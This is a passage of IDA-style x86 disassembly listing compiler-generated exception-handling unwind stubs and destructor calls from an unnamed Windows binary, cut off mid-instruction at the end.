; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E220	proc near		; DATA XREF: sub_40E220+2o
		mov	eax, offset dword_43F668
		jmp	sub_4367C8
SEH_40E220	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438F78:				; DATA XREF: ___:0043F6ECo
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E7A0	proc near		; DATA XREF: sub_40E7A0+2o
		mov	eax, offset dword_43F6C0
		jmp	sub_4367C8
SEH_40E7A0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438FC8:				; DATA XREF: ___:0043F744o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EC30	proc near		; DATA XREF: sub_40EC30+2o
		mov	eax, offset dword_43F718
		jmp	sub_4367C8
SEH_40EC30	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED70	proc near		; DATA XREF: sub_40ED70+2o
		mov	eax, offset dword_43F758
		jmp	sub_4367C8
SEH_40ED70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439018:				; DATA XREF: ___:0043F7B4o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439048:				; DATA XREF: ___:0040F148o
		mov	eax, offset dword_43F788
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439078:				; DATA XREF: ___:0043F814o
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B54
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F600	proc near		; DATA XREF: sub_40F600+2o
		mov	eax, offset dword_43F7E8
		jmp	sub_4367C8
SEH_40F600	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439268:				; DATA XREF: ___:0043F974o
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FDA0	proc near		; DATA XREF: sub_40FDA0+2o
		mov	eax, offset dword_43F948
		jmp	sub_4367C8
SEH_40FDA0	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43939B:				; DATA XREF: ___:0043FA2Co
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393B1:				; DATA XREF: ___:0043FA3Co
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393BC:				; DATA XREF: ___:0043FA44o
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393C7:				; DATA XREF: ___:0043FA4Co
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393D2:				; DATA XREF: ___:0043FA54o
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393DD:				; DATA XREF: ___:0043FA5Co
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393E8:				; DATA XREF: ___:0043FA64o
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393F3:				; DATA XREF: ___:0043FA6Co
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439409:				; DATA XREF: ___:0043FA7Co
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439414:				; DATA XREF: ___:0043FA84o
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43941F:				; DATA XREF: ___:0043FA8Co
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43942A:				; DATA XREF: ___:0043FA94o
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439499:				; DATA XREF: ___:0043FADCo
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394A4:				; DATA XREF: ___:0043FAE4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4394B2:				; DATA XREF: ___:0043FAECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394E1:				; DATA XREF: ___:0043FB0Co
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F7:				; DATA XREF: ___:0043FB1Co
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43950D:				; DATA XREF: ___:0043FB2Co
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439518:				; DATA XREF: ___:0043FB34o
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439523:				; DATA XREF: ___:0043FB3Co
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43952E:				; DATA XREF: ___:0043FB44o
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439539:				; DATA XREF: ___:0043FB4Co
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43954F:				; DATA XREF: ___:0043FB64o
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43955A:				; DATA XREF: ___:0043FB74o
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439565:				; DATA XREF: ___:0043FB7Co
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043FB94o
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439591:				; DATA XREF: ___:0043FBACo
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395A7:				; DATA XREF: ___:0043FBBCo
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395B2:				; DATA XREF: ___:0043FBC4o
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395D3:				; DATA XREF: sub_40FF60+8o
		mov	eax, offset dword_43FA00
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411860	proc near		; DATA XREF: sub_411860+2o
		mov	eax, offset dword_43FC10
		jmp	sub_4367C8
SEH_411860	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411910	proc near		; DATA XREF: sub_411910+2o
		mov	eax, offset dword_43FC40
		jmp	sub_4367C8
SEH_411910	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4396B8:				; DATA XREF: ___:0043FC9Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411990	proc near		; DATA XREF: sub_411990+2o
		mov	eax, offset dword_43FC70
		jmp	sub_4367C8
SEH_411990	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439718:				; DATA XREF: ___:0043FCF4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A50	proc near		; DATA XREF: sub_411A50+2o
		mov	eax, offset dword_43FCC8
		jmp	sub_4367C8
SEH_411A50	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411B40	proc near		; DATA XREF: sub_411B40+8o
		mov	eax, offset dword_43FD20
		jmp	sub_4367C8
SEH_411B40	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4397E8:				; DATA XREF: ___:0043FDCCo
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411FE0	proc near		; DATA XREF: sub_411FE0+8o
		mov	eax, offset dword_43FDA0
		jmp	sub_4367C8
SEH_411FE0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439890:				; DATA XREF: ___:0043FE6Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_4398AE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_4398AE:				; CODE XREF: ___:004398A0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4126B0	proc near		; DATA XREF: sub_4126B0+2o
		mov	eax, offset dword_43FE40
		jmp	sub_4367C8
SEH_4126B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398D8:				; DATA XREF: ___:0043FEA4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412970	proc near		; DATA XREF: sub_412970+8o
		mov	eax, offset dword_43FE78
		jmp	sub_4367C8
SEH_412970	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412C10	proc near		; DATA XREF: sub_412C10+2o
		mov	eax, offset dword_43FEB0
		jmp	sub_4367C8
SEH_412C10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439918:				; DATA XREF: ___:0043FF0Co
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994E:				; DATA XREF: ___:00412CB8o
		mov	eax, offset dword_43FEE0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43997B:				; DATA XREF: ___:0043FF6Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413120	proc near		; DATA XREF: sub_413120+2o
		mov	eax, offset dword_43FF40
		jmp	sub_4367C8
SEH_413120	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413220	proc near		; DATA XREF: sub_413220+2o
		mov	eax, offset dword_43FF88
		jmp	sub_4367C8
SEH_413220	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132E0	proc near		; DATA XREF: sub_4132E0+2o
		mov	eax, offset dword_43FFD0
		jmp	sub_4367C8
SEH_4132E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133D0	proc near		; DATA XREF: sub_4133D0+2o
		mov	eax, offset dword_440008
		jmp	sub_4367C8
SEH_4133D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413510	proc near		; DATA XREF: sub_413510+2o
		mov	eax, offset dword_440038
		jmp	sub_4367C8
SEH_413510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401578
; ---------------------------------------------------------------------------


loc_439A78:				; DATA XREF: ___:00440094o
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413670	proc near		; DATA XREF: sub_413670+2o
		mov	eax, offset dword_440068
		jmp	sub_4367C8
SEH_413670	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439A98:				; DATA XREF: ___:004400CCo
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4137E0	proc near		; DATA XREF: sub_4137E0+2o
		mov	eax, offset dword_4400A0
		jmp	sub_4367C8
SEH_4137E0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439AD8:				; DATA XREF: ___:0044010Co
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401578

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4139B0	proc near		; DATA XREF: sub_4139B0+2o
		mov	eax, offset dword_4400E0
		jmp	sub_4367C8
SEH_4139B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B08:				; DATA XREF: ___:00413AE2o
		mov	eax, offset dword_440120
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B28:				; DATA XREF: ___:0044017Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B30:				; DATA XREF: ___:00440184o
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439B3B:				; DATA XREF: ___:0044018Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413B70	proc near		; DATA XREF: sub_413B70+2o
		mov	eax, offset dword_440150
		jmp	sub_4367C8
SEH_413B70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B68:				; DATA XREF: ___:004401C4o
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413DA0	proc near		; DATA XREF: sub_413DA0+2o
		mov	eax, offset dword_440198
		jmp	sub_4367C8
SEH_413DA0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BBB:				; DATA XREF: ___:0044021Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
